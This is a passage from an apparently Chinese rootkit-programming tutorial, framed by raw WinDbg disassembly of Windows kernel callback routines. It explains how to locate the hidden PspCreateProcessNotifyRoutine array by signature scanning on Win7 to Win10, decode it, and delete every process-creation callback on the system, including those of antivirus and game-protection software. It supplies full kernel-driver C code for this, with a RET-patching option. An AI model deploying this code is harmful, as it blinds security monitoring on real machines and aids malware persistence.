[ebp-2Ch],esi81e1c864 743e je nt!PsSetLoadImageNotifyRoutine+0xbe (81e1c8a4)nt!PsSetLoadImageNotifyRoutine+0x80:81e1c866 8365e000 and dword ptr [ebp-20h],081e1c86a 8d45d8 lea eax,[ebp-28h]81e1c86d 8365e800 and dword ptr [ebp-18h],081e1c871 8365f000 and dword ptr [ebp-10h],081e1c875 8365f800 and dword ptr [ebp-8],081e1c879 8945dc mov dword ptr [ebp-24h],eax81e1c87c 8d45d4 lea eax,[ebp-2Ch]81e1c87f 8945ec mov dword ptr [ebp-14h],eax81e1c882 8d45dc lea eax,[ebp-24h]81e1c885 50 push eax81e1c886 6a02 push 281e1c888 6a00 push 081e1c88a 6800c9a681 push offset nt!KERNEL_AUDIT_API_PSSETLOADIMAGENOTIFYROUTINE (81a6c900)81e1c88f 52 push edx81e1c890 51 push ecx81e1c891 c745e404000000 mov dword ptr [ebp-1Ch],481e1c898 c745f404000000 mov dword ptr [ebp-0Ch],481e1c89f e82ce6c9ff call nt!EtwWrite (81abaed0)nt!PsSetLoadImageNotifyRoutine+0xbe:81e1c8a4 8b4dfc mov ecx,dword ptr [ebp-4]81e1c8a7 8bc6 mov eax,esi81e1c8a9 5e pop esi81e1c8aa 33cd xor ecx,ebp81e1c8ac 5b pop ebx81e1c8ad e86669d8ff call nt!__security_check_cookie (81ba3218)81e1c8b2 8be5 mov esp,ebp81e1c8b4 5d pop ebp81e1c8b5 c20400 ret 4nt!PsSetLoadImageNotifyRoutine+0xd2:81e1c8b8 83c604 add esi,481e1c8bb 83c704 add edi,481e1c8be 81fe00010000 cmp esi,100h81e1c8c4 0f8251ffffff jb nt!PsSetLoadImageNotifyRoutine+0x35 (81e1c81b)nt!PsSetLoadImageNotifyRoutine+0xe4:81e1c8ca e9bf1c0a00 jmp nt! ?? ::NNGAKEGL::`string'+0x69b82 (81ebe58e)nt! ?? ::NNGAKEGL::`string'+0x69b78:81ebe584 be9a0000c0 mov esi,0C000009Ah81ebe589 e9bde2f5ff jmp nt!PsSetLoadImageNotifyRoutine+0x65 (81e1c84b)nt! ?? ::NNGAKEGL::`string'+0x69b82:81ebe58e 6a00 push 081ebe590 53 push ebx81ebe591 e88a3addff call nt!ExFreePoolWithTag (81c92020)81ebe596 be9a0000c0 mov esi,0C000009Ah81ebe59b e9aae2f5ff jmp nt!PsSetLoadImageNotifyRoutine+0x64 (81e1c84a)
    Win10 64 位 PsSetLoadImageNotifyRoutinekd> uf PsSetLoadImageNotifyRoutinent!PsSetLoadImageNotifyRoutine:fffff800`a09a42d4 48895c2410 mov qword ptr [rsp+10h],rbxfffff800`a09a42d9 4889742418 mov qword ptr [rsp+18h],rsifffff800`a09a42de 57 push rdifffff800`a09a42df 4883ec70 sub rsp,70hfffff800`a09a42e3 488b056e9ddaff mov rax,qword ptr [nt!_security_cookie (fffff800`a074e058)]fffff800`a09a42ea 4833c4 xor rax,rspfffff800`a09a42ed 4889442460 mov qword ptr [rsp+60h],raxfffff800`a09a42f2 33d2 xor edx,edxfffff800`a09a42f4 488bf1 mov rsi,rcxfffff800`a09a42f7 e814030000 call nt!ExAllocateCallBack (fffff800`a09a4610)fffff800`a09a42fc 488bf8 mov rdi,raxfffff800`a09a42ff 4885c0 test rax,raxfffff800`a09a4302 0f8452790900 je nt! ?? ::NNGAKEGL::`string'+0x674ca (fffff800`a0a3bc5a)nt!PsSetLoadImageNotifyRoutine+0x34:fffff800`a09a4308 33db xor ebx,ebxnt!PsSetLoadImageNotifyRoutine+0x36:fffff800`a09a430a 488d0d6f0adfff lea rcx,[nt!PspLoadImageNotifyRoutine (fffff800`a0794d80)]fffff800`a09a4311 4533c0 xor r8d,r8dfffff800`a09a4314 488d0cd9 lea rcx,[rcx+rbx*8]fffff800`a09a4318 488bd7 mov rdx,rdifffff800`a09a431b e870ecbfff call nt!ExCompareExchangeCallBack (fffff800`a05a2f90)fffff800`a09a4320 84c0 test al,alfffff800`a09a4322 0f849f000000 je nt!PsSetLoadImageNotifyRoutine+0xf3 (fffff800`a09a43c7)nt!PsSetLoadImageNotifyRoutine+0x54:fffff800`a09a4328 f0ff05a94a1d00 lock inc dword ptr [nt!PspLoadImageNotifyRoutineCount (fffff800`a0b78dd8)]fffff800`a09a432f 8b0503471d00 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)]fffff800`a09a4335 a801 test al,1fffff800`a09a4337 7509 jne nt!PsSetLoadImageNotifyRoutine+0x6e (fffff800`a09a4342)nt!PsSetLoadImageNotifyRoutine+0x65:fffff800`a09a4339 f00fba2df6461d0000 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)],0nt!PsSetLoadImageNotifyRoutine+0x6e:fffff800`a09a4342 33db xor ebx,ebxnt!PsSetLoadImageNotifyRoutine+0x70:fffff800`a09a4344 488b0d75e9daff mov rcx,qword ptr [nt!EtwApiCallsProvRegHandle (fffff800`a0752cc0)]fffff800`a09a434b 895c2430 mov dword ptr [rsp+30h],ebxfffff800`a09a434f 4889742438 mov qword ptr [rsp+38h],rsifffff800`a09a4354 4885c9 test rcx,rcxfffff800`a09a4357 744d je nt!PsSetLoadImageNotifyRoutine+0xd2 (fffff800`a09a43a6)nt!PsSetLoadImageNotifyRoutine+0x85:fffff800`a09a4359 8364244c00 and dword ptr [rsp+4Ch],0fffff800`a09a435e 488d442438 lea rax,[rsp+38h]fffff800`a09a4363 8364245c00 and dword ptr [rsp+5Ch],0fffff800`a09a4368 488d151902d1ff lea rdx,[nt!KERNEL_AUDIT_API_PSSETLOADIMAGENOTIFYROUTINE (fffff800`a06b4588)]fffff800`a09a436f 4889442440 mov qword ptr [rsp+40h],raxfffff800`a09a4374 41b902000000 mov r9d,2fffff800`a09a437a 488d442430 lea rax,[rsp+30h]fffff800`a09a437f c744244808000000 mov dword ptr [rsp+48h],8fffff800`a09a4387 4889442450 mov qword ptr [rsp+50h],raxfffff800`a09a438c 4533c0 xor r8d,r8dfffff800`a09a438f 488d442440 lea rax,[rsp+40h]fffff800`a09a4394 c744245804000000 mov dword ptr [rsp+58h],4fffff800`a09a439c 4889442420 mov qword ptr [rsp+20h],raxfffff800`a09a43a1 e8daafb5ff call nt!EtwWrite (fffff800`a04ff380)nt!PsSetLoadImageNotifyRoutine+0xd2:fffff800`a09a43a6 8bc3 mov eax,ebxfffff800`a09a43a8 488b4c2460 mov rcx,qword ptr [rsp+60h]fffff800`a09a43ad 4833cc xor rcx,rspfffff800`a09a43b0 e80bb4c0ff call nt!_security_check_cookie (fffff800`a05af7c0)fffff800`a09a43b5 4c8d5c2470 lea r11,[rsp+70h]fffff800`a09a43ba 498b5b18 mov rbx,qword ptr [r11+18h]fffff800`a09a43be 498b7320 mov rsi,qword ptr [r11+20h]fffff800`a09a43c2 498be3 mov rsp,r11fffff800`a09a43c5 5f pop rdifffff800`a09a43c6 c3 retnt!PsSetLoadImageNotifyRoutine+0xf3:fffff800`a09a43c7 ffc3 inc ebxfffff800`a09a43c9 83fb40 cmp ebx,40hfffff800`a09a43cc 0f8238ffffff jb nt!PsSetLoadImageNotifyRoutine+0x36 (fffff800`a09a430a)nt!PsSetLoadImageNotifyRoutine+0xfe:fffff800`a09a43d2 e979780900 jmp nt! ?? ::NNGAKEGL::`string'+0x674c0 (fffff800`a0a3bc50)nt! ?? ::NNGAKEGL::`string'+0x674c0:fffff800`a0a3bc50 33d2 xor edx,edxfffff800`a0a3bc52 488bcf mov rcx,rdifffff800`a0a3bc55 e8a623c7ff call nt!ExFreePoolWithTag (fffff800`a06ae000)nt! ?? ::NNGAKEGL::`string'+0x674ca:fffff800`a0a3bc5a bb9a0000c0 mov ebx,0C000009Ahfffff800`a0a3bc5f e9e086f6ff jmp nt!PsSetLoadImageNotifyRoutine+0x70 (fffff800`a09a4344)
    1  留言 2019-03-23 20:19:06
  • 枚举并删除系统上PsSetCreateProcessNotifyRoutine回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 PsSetCreateProcessNotifyRoutine 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    实现原理我们注册的进程回调,会存储在一个名为 PspCreateProcessNotifyRoutine 的数组里。 PspCreateProcessNotifyRoutine 可以理解成一个 PVOID 数组,它存储着系统里所有 PsSetCreateProcessNotifyRoutine 进程回调函数地址的加密地址。PspCreateProcessNotifyRoutine数组里的数据是加密的,要经过解密操作才可以获取正确的数据。
    PspCreateProcessNotifyRoutine 数组地址的获取首先,我们需要获取 PspCreateProcessNotifyRoutine 的地址。我们可以借助 WinDbg 帮助我们进行内核调试,下面是我们借助 WinDbg 逆向 Win10 x64 内核函数 PspSetCreateProcessNotifyRoutine 的代码:
    nt!PspSetCreateProcessNotifyRoutine+0x4c:fffff801`54b3b57c 33ff xor edi,edifffff801`54b3b57e 4c8d3dfb0bdfff lea r15,[nt!PspCreateProcessNotifyRoutine (fffff801`5492c180)]
    我们从上面发现,函数中会调用到 PspCreateProcessNotifyRoutine 的地址。所以,在 64 位系统中,我们可以通过扫描内存特征码,从而获取数组PspCreateProcessNotifyRoutine 的 4 字节偏移,再计算出它的地址。在 32 位系统中,通过扫描内存特征码,就可以直接获取 PspCreateProcessNotifyRoutine 的地址了。注意的是:不同系统上,特征码也会不同。下面是我们总结的特征码:




    Win7
    win8.1
    win10




    32 位
    C7450C
    B8
    BB


    64 位
    4C8D35
    4C8D3D
    4C8D3D



    其中,内核函数 PspSetCreateProcessNotifyRoutine 并不是导出函数,所以不能直接获取它的函数地址。使用WinDbg 逆向 PsSetCreateProcessNotifyRoutine 函数的代码如下(Win10 x64 系统):
    nt!PsSetCreateProcessNotifyRoutine:fffff800`042cb3c0 4533c0 xor r8d,r8dfffff800`042cb3c3 e9e8fdffff jmp nt!PspSetCreateProcessNotifyRoutine (fffff800`042cb1b0)
    我们从上面代码发现,内核函数 PsSetCreateProcessNotifyRoutine 里会调用到内核函数 PspSetCreateProcessNotifyRoutine。所以,在 32 位和 64 位系统中,我们可以通过扫描内存特征码,从而获取 PspSetCreateProcessNotifyRoutine 的 4 字节偏移,再计算出它的地址。注意的是:不同系统上,特征码也会不同。下面是我们总结的特征码:




    Win7
    win8.1
    win10




    32 位
    E8
    E8
    E8


    64 位
    E9
    E9
    E9



    要就是说,获取 PspCreateProcessNotifyRoutine 地址可以分成两步:

    首先,通过扫描特征码,从 PsSetCreateProcessNotifyRoutine 函数中获取 PspSetCreateProcessNotifyRoutine 函数的地址
    然后,通过扫描特征码,从 PspSetCreateProcessNotifyRoutine 函数中获取 PspCreateProcessNotifyRoutine 数组的地址

    那么,特征码的确定就变得至关重要了。
    PspCreateProcessNotifyRoutine 里数据的解密我们上面说,PspCreateProcessNotifyRoutine 里的数据是加密的,在 64 位系统和 32 位系统上的加密方式是不相同的,自然解密方式也不同。现在,我们分别介绍 32 位系统和 64 位系统下的解密方式。
    对于 32 位系统来说:PspCreateProcessNotifyRoutine 是一个 4 字节无符号类型的数组,数组大小最大为 8。我们使用 PspCreateProcessNotifyRoutine[i] 表示数组中的值,那么,32 位系统下的解密方式为:

    首先,数组的值 PspCreateProcessNotifyRoutine[i] 位运算“与” 0xFFFFFFF8
    然后,“与”运算之后的结果值再加上 4,结果就是一个存储着回调函数地址的地址

    对于 64 位系统来说:PspCreateProcessNotifyRoutine 是一个 8 字节无符号类型的数组,数组大小最大为 64。我们使用 PspCreateProcessNotifyRoutine[i] 表示数组中的值,那么,64 位系统下的解密方式为:
    数组的值 PspCreateProcessNotifyRoutine[i] 位运算“与” 0xFFFFFFFFFFFFFFF8,结果就是一个存储着回调函数地址的地址。
    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。那么,要删除回调函数可以有 3 种方式:

    可以直接调用 PsSetCreateProcessNotifyRoutine 函数,传入回调函数地址,并设置删除回调函数标志为 TRUE,即可删除回调
    修改 PspCreateProcessNotifyRoutine 数组中的数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数
    修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作

    编码实现遍历回调// 遍历回调BOOLEAN EnumNotifyRoutine(){ ULONG i = 0; PVOID pPspCreateProcessNotifyRoutineAddress = NULL; PVOID pNotifyRoutineAddress = NULL; // 获取 PspCreateProcessNotifyRoutine 数组地址 pPspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutine(); if (NULL == pPspCreateProcessNotifyRoutineAddress) { DbgPrint("GetPspCreateProcessNotifyRoutine Error!\n"); return FALSE; } DbgPrint("pPspCreateProcessNotifyRoutineAddress=0x%p\n", pPspCreateProcessNotifyRoutineAddress); // 获取回调地址并解密#ifdef _WIN64 for (i = 0; i < 64; i++) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateProcessNotifyRoutineAddress + sizeof(PVOID) * i); pNotifyRoutineAddress = (PVOID)((ULONG64)pNotifyRoutineAddress & 0xfffffffffffffff8); if (MmIsAddressValid(pNotifyRoutineAddress)) { pNotifyRoutineAddress = *(PVOID *)pNotifyRoutineAddress; DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); } }#else for (i = 0; i < 8; i++) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateProcessNotifyRoutineAddress + sizeof(PVOID) * i); pNotifyRoutineAddress = (PVOID)((ULONG)pNotifyRoutineAddress & 0xfffffff8); if (MmIsAddressValid(pNotifyRoutineAddress)) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pNotifyRoutineAddress + 4); DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); } }#endif return TRUE;}
    移除回调// 移除回调NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress){ NTSTATUS status = PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)pNotifyRoutineAddress, TRUE); if (!NT_SUCCESS(status)) { ShowError("PsSetCreateProcessNotifyRoutine", status); } return status;}
    获取 PspCreateProcessNotifyRoutine 数组地址// 获取 PspCreateProcessNotifyRoutine 数组地址PVOID GetPspCreateProcessNotifyRoutine(){ PVOID pPspCreateProcessNotifyRoutineAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pFirstSpecialData[50] = { 0 }; ULONG ulFirstSpecialDataSize = 0; UCHAR pSecondSpecialData[50] = { 0 }; ULONG ulSecondSpecialDataSize = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // E9 pFirstSpecialData[0] = 0xE9; ulFirstSpecialDataSize = 1; // 4C8D35 pSecondSpecialData[0] = 0x4C; pSecondSpecialData[1] = 0x8D; pSecondSpecialData[2] = 0x35; ulSecondSpecialDataSize = 3;#else // 32 位 // E8 pFirstSpecialData[0] = 0xE8; ulFirstSpecialDataSize = 1; // C7450C pSecondSpecialData[0] = 0xC7; pSecondSpecialData[1] = 0x45; pSecondSpecialData[2] = 0x0C; ulSecondSpecialDataSize = 3;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // E9 pFirstSpecialData[0] = 0xE9; ulFirstSpecialDataSize = 1; // 4C8D3D pSecondSpecialData[0] = 0x4C; pSecondSpecialData[1] = 0x8D; pSecondSpecialData[2] = 0x3D; ulSecondSpecialDataSize = 3;#else // 32 位 // E8 pFirstSpecialData[0] = 0xE8; ulFirstSpecialDataSize = 1; // B8 pSecondSpecialData[0] = 0xB8; ulSecondSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // E9 pFirstSpecialData[0] = 0xE9; ulFirstSpecialDataSize = 1; // 4C8D3D pSecondSpecialData[0] = 0x4C; pSecondSpecialData[1] = 0x8D; pSecondSpecialData[2] = 0x3D; ulSecondSpecialDataSize = 3;#else // 32 位 // E8 pFirstSpecialData[0] = 0xE8; ulFirstSpecialDataSize = 1; // BB pSecondSpecialData[0] = 0xBB; ulSecondSpecialDataSize = 1;#endif } // 根据特征码获取地址 pPspCreateProcessNotifyRoutineAddress = SearchPspCreateProcessNotifyRoutine(pFirstSpecialData, ulFirstSpecialDataSize, pSecondSpecialData, ulSecondSpecialDataSize); return pPspCreateProcessNotifyRoutineAddress;}
    根据特征码获取 PspCreateProcessNotifyRoutine 数组地址// 根据特征码获取 PspCreateProcessNotifyRoutine 数组地址PVOID SearchPspCreateProcessNotifyRoutine(PUCHAR pFirstSpecialData, ULONG ulFirstSpecialDataSize, PUCHAR pSecondSpecialData, ULONG ulSecondSpecialDataSize){ UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pPsSetCteateProcessNotifyRoutine = NULL; PVOID pPspSetCreateProcessNotifyRoutineAddress = NULL; PVOID pPspCreateProcessNotifyRoutineAddress = NULL; // 先获取 PsSetCreateProcessNotifyRoutine 函数地址 RtlInitUnicodeString(&ustrFuncName, L"PsSetCreateProcessNotifyRoutine"); pPsSetCteateProcessNotifyRoutine = MmGetSystemRoutineAddress(&ustrFuncName); if (NULL == pPsSetCteateProcessNotifyRoutine) { ShowError("MmGetSystemRoutineAddress", 0); return pPspCreateProcessNotifyRoutineAddress; } // 然后, 查找 PspSetCreateProcessNotifyRoutine 函数地址 pAddress = SearchMemory(pPsSetCteateProcessNotifyRoutine, (PVOID)((PUCHAR)pPsSetCteateProcessNotifyRoutine + 0xFF), pFirstSpecialData, ulFirstSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory1", 0); return pPspCreateProcessNotifyRoutineAddress; } // 获取偏移数据, 并计算地址 lOffset = *(PLONG)pAddress; pPspSetCreateProcessNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); // 最后, 查找 PspCreateProcessNotifyRoutine 地址 pAddress = SearchMemory(pPspSetCreateProcessNotifyRoutineAddress, (PVOID)((PUCHAR)pPspSetCreateProcessNotifyRoutineAddress + 0xFF), pSecondSpecialData, ulSecondSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory2", 0); return pPspCreateProcessNotifyRoutineAddress; } // 获取地址#ifdef _WIN64 // 64 位先获取偏移, 再计算地址 lOffset = *(PLONG)pAddress; pPspCreateProcessNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset);#else // 32 位直接获取地址 pPspCreateProcessNotifyRoutineAddress = *(PVOID *)pAddress;#endif return pPspCreateProcessNotifyRoutineAddress;}
    指定内存区域的特征码扫描// 指定内存区域的特征码扫描PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize){ PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) { // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) { if (*(PUCHAR)(i + m) != pMemoryData[m]) { break; } } // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) { // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; } } return pAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结要理解清楚获取 PspCreateProcessNotifyRoutine 地址的流程,其中,不同系统的内存特征码是不同的,要注意区分。大家也不用记忆这些特征码,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    而且,不同位数系统中,对 PspCreateProcessNotifyRoutine 数组中的值解密方式也不相同,这个需要区分开来。
    删除回调常用就有 3 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    附录Win7 32 位 PspSetCreateProcessNotifyRoutinelkd> uf PspSetCreateProcessNotifyRoutinent!PspSetCreateProcessNotifyRoutine:83fa573b 8bff mov edi,edi83fa573d 55 push ebp83fa573e 8bec mov ebp,esp83fa5740 807d0c00 cmp byte ptr [ebp+0Ch],083fa5744 53 push ebx83fa5745 56 push esi83fa5746 57 push edi83fa5747 0f84fa000000 je nt!PspSetCreateProcessNotifyRoutine+0x10a (83fa5847)nt!PspSetCreateProcessNotifyRoutine+0x12:83fa574d 648b3524010000 mov esi,dword ptr fs:[124h]83fa5754 66ff8e84000000 dec word ptr [esi+84h]83fa575b 33db xor ebx,ebx83fa575d c7450ce032f583 mov dword ptr [ebp+0Ch],offset nt!PspCreateProcessNotifyRoutine (83f532e0)nt!PspSetCreateProcessNotifyRoutine+0x29:83fa5764 ff750c push dword ptr [ebp+0Ch]83fa5767 e894bb0d00 call nt!ExReferenceCallBackBlock (84081300)83fa576c 8bf8 mov edi,eax83fa576e 85ff test edi,edi83fa5770 7439 je nt!PspSetCreateProcessNotifyRoutine+0x6e (83fa57ab)nt!PspSetCreateProcessNotifyRoutine+0x37:83fa5772 8b4f08 mov ecx,dword ptr [edi+8]83fa5775 e8e31ef2ff call nt!ExGetCallBackBlockRoutine (83ec765d)83fa577a 3b4508 cmp eax,dword ptr [ebp+8]83fa577d 7522 jne nt!PspSetCreateProcessNotifyRoutine+0x64 (83fa57a1)nt!PspSetCreateProcessNotifyRoutine+0x44:83fa577f 85c9 test ecx,ecx83fa5781 7509 jne nt!PspSetCreateProcessNotifyRoutine+0x4f (83fa578c)nt!PspSetCreateProcessNotifyRoutine+0x48:83fa5783 384d10 cmp byte ptr [ebp+10h],cl83fa5786 7519 jne nt!PspSetCreateProcessNotifyRoutine+0x64 (83fa57a1)nt!PspSetCreateProcessNotifyRoutine+0x4d:83fa5788 eb08 jmp nt!PspSetCreateProcessNotifyRoutine+0x55 (83fa5792)nt!PspSetCreateProcessNotifyRoutine+0x4f:83fa578c 807d1000 cmp byte ptr [ebp+10h],083fa5790 740f je nt!PspSetCreateProcessNotifyRoutine+0x64 (83fa57a1)nt!PspSetCreateProcessNotifyRoutine+0x55:83fa5792 8b450c mov eax,dword ptr [ebp+0Ch]83fa5795 57 push edi83fa5796 33c9 xor ecx,ecx83fa5798 e8abfeffff call nt!ExCompareExchangeCallBack (83fa5648)83fa579d 84c0 test al,al83fa579f 7547 jne nt!PspSetCreateProcessNotifyRoutine+0xab (83fa57e8)nt!PspSetCreateProcessNotifyRoutine+0x64:83fa57a1 8b450c mov eax,dword ptr [ebp+0Ch]83fa57a4 8bcf mov ecx,edi83fa57a6 e889bc0d00 call nt!ExDereferenceCallBackBlock (84081434)nt!PspSetCreateProcessNotifyRoutine+0x6e:83fa57ab 83450c04 add dword ptr [ebp+0Ch],483fa57af 43 inc ebx83fa57b0 83fb40 cmp ebx,40h83fa57b3 72af jb nt!PspSetCreateProcessNotifyRoutine+0x29 (83fa5764)nt!PspSetCreateProcessNotifyRoutine+0x78:83fa57b5 66ff8684000000 inc word ptr [esi+84h]83fa57bc 0fb78684000000 movzx eax,word ptr [esi+84h]83fa57c3 6685c0 test ax,ax83fa57c6 7516 jne nt!PspSetCreateProcessNotifyRoutine+0xa1 (83fa57de)nt!PspSetCreateProcessNotifyRoutine+0x8b:83fa57c8 8d4640 lea eax,[esi+40h]83fa57cb 3900 cmp dword ptr [eax],eax83fa57cd 740f je nt!PspSetCreateProcessNotifyRoutine+0xa1 (83fa57de)nt!PspSetCreateProcessNotifyRoutine+0x92:83fa57cf 6683be8600000000 cmp word ptr [esi+86h],083fa57d7 7505 jne nt!PspSetCreateProcessNotifyRoutine+0xa1 (83fa57de)nt!PspSetCreateProcessNotifyRoutine+0x9c:83fa57d9 e8a714e9ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!PspSetCreateProcessNotifyRoutine+0xa1:83fa57de b87a0000c0 mov eax,0C000007Ah83fa57e3 e9c5000000 jmp nt!PspSetCreateProcessNotifyRoutine+0x170 (83fa58ad)nt!PspSetCreateProcessNotifyRoutine+0xab:83fa57e8 83c9ff or ecx,0FFFFFFFFh83fa57eb 807d1000 cmp byte ptr [ebp+10h],083fa57ef b8e433f583 mov eax,offset nt!PspCreateProcessNotifyRoutineCount (83f533e4)83fa57f4 7405 je nt!PspSetCreateProcessNotifyRoutine+0xbe (83fa57fb)nt!PspSetCreateProcessNotifyRoutine+0xb9:83fa57f6 b8e033f583 mov eax,offset nt!PspCreateProcessNotifyRoutineExCount (83f533e0)nt!PspSetCreateProcessNotifyRoutine+0xbe:83fa57fb f00fc108 lock xadd dword ptr [eax],ecx83fa57ff 8d049de032f583 lea eax,nt!PspCreateProcessNotifyRoutine (83f532e0)[ebx*4]83fa5806 8bcf mov ecx,edi83fa5808 e827bc0d00 call nt!ExDereferenceCallBackBlock (84081434)83fa580d 66ff8684000000 inc word ptr [esi+84h]83fa5814 0fb78684000000 movzx eax,word ptr [esi+84h]83fa581b 6685c0 test ax,ax83fa581e 7516 jne nt!PspSetCreateProcessNotifyRoutine+0xf9 (83fa5836)nt!PspSetCreateProcessNotifyRoutine+0xe3:83fa5820 8d4640 lea eax,[esi+40h]83fa5823 3900 cmp dword ptr [eax],eax83fa5825 740f je nt!PspSetCreateProcessNotifyRoutine+0xf9 (83fa5836)nt!PspSetCreateProcessNotifyRoutine+0xea:83fa5827 6683be8600000000 cmp word ptr [esi+86h],083fa582f 7505 jne nt!PspSetCreateProcessNotifyRoutine+0xf9 (83fa5836)nt!PspSetCreateProcessNotifyRoutine+0xf4:83fa5831 e84f14e9ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!PspSetCreateProcessNotifyRoutine+0xf9:83fa5836 8bcf mov ecx,edi83fa5838 e83a251700 call nt!ExWaitForCallBacks (84117d77)83fa583d 57 push edi83fa583e e8c88a0e00 call nt!AlpcpFreeBuffer (8408e30b)nt!PspSetCreateProcessNotifyRoutine+0x106:83fa5843 33c0 xor eax,eax83fa5845 eb66 jmp nt!PspSetCreateProcessNotifyRoutine+0x170 (83fa58ad)nt!PspSetCreateProcessNotifyRoutine+0x10a:83fa5847 807d1000 cmp byte ptr [ebp+10h],083fa584b 7413 je nt!PspSetCreateProcessNotifyRoutine+0x123 (83fa5860)nt!PspSetCreateProcessNotifyRoutine+0x110:83fa584d ff7508 push dword ptr [ebp+8]83fa5850 e82bb0fdff call nt!MmVerifyCallbackFunction (83f80880)83fa5855 85c0 test eax,eax83fa5857 7507 jne nt!PspSetCreateProcessNotifyRoutine+0x123 (83fa5860)nt!PspSetCreateProcessNotifyRoutine+0x11c:83fa5859 b8220000c0 mov eax,0C0000022h83fa585e eb4d jmp nt!PspSetCreateProcessNotifyRoutine+0x170 (83fa58ad)nt!PspSetCreateProcessNotifyRoutine+0x123:83fa5860 33c0 xor eax,eax83fa5862 384510 cmp byte ptr [ebp+10h],al83fa5865 0f95c0 setne al83fa5868 50 push eax83fa5869 ff7508 push dword ptr [ebp+8]83fa586c e8a8fdffff call nt!ExAllocateCallBack (83fa5619)83fa5871 8bd8 mov ebx,eax83fa5873 85db test ebx,ebx83fa5875 7507 jne nt!PspSetCreateProcessNotifyRoutine+0x141 (83fa587e)nt!PspSetCreateProcessNotifyRoutine+0x13a:83fa5877 b89a0000c0 mov eax,0C000009Ah83fa587c eb2f jmp nt!PspSetCreateProcessNotifyRoutine+0x170 (83fa58ad)nt!PspSetCreateProcessNotifyRoutine+0x141:83fa587e bee032f583 mov esi,offset nt!PspCreateProcessNotifyRoutine (83f532e0)83fa5883 33ff xor edi,edint!PspSetCreateProcessNotifyRoutine+0x148:83fa5885 6a00 push 083fa5887 8bcb mov ecx,ebx83fa5889 8bc6 mov eax,esi83fa588b e8b8fdffff call nt!ExCompareExchangeCallBack (83fa5648)83fa5890 84c0 test al,al83fa5892 7520 jne nt!PspSetCreateProcessNotifyRoutine+0x177 (83fa58b4)nt!PspSetCreateProcessNotifyRoutine+0x157:83fa5894 83c704 add edi,483fa5897 83c604 add esi,483fa589a 81ff00010000 cmp edi,100h83fa58a0 72e3 jb nt!PspSetCreateProcessNotifyRoutine+0x148 (83fa5885)nt!PspSetCreateProcessNotifyRoutine+0x165:83fa58a2 53 push ebx83fa58a3 e8638a0e00 call nt!AlpcpFreeBuffer (8408e30b)83fa58a8 b80d0000c0 mov eax,0C000000Dhnt!PspSetCreateProcessNotifyRoutine+0x170:83fa58ad 5f pop edi83fa58ae 5e pop esi83fa58af 5b pop ebx83fa58b0 5d pop ebp83fa58b1 c20c00 ret 0Chnt!PspSetCreateProcessNotifyRoutine+0x177:83fa58b4 33c9 xor ecx,ecx83fa58b6 41 inc ecx83fa58b7 807d1000 cmp byte ptr [ebp+10h],083fa58bb 7525 jne nt!PspSetCreateProcessNotifyRoutine+0x1a5 (83fa58e2)nt!PspSetCreateProcessNotifyRoutine+0x180:83fa58bd b8e433f583 mov eax,offset nt!PspCreateProcessNotifyRoutineCount (83f533e4)83fa58c2 f00fc108 lock xadd dword ptr [eax],ecx83fa58c6 a19830f583 mov eax,dword ptr [nt!PspNotifyEnableMask (83f53098)]83fa58cb a802 test 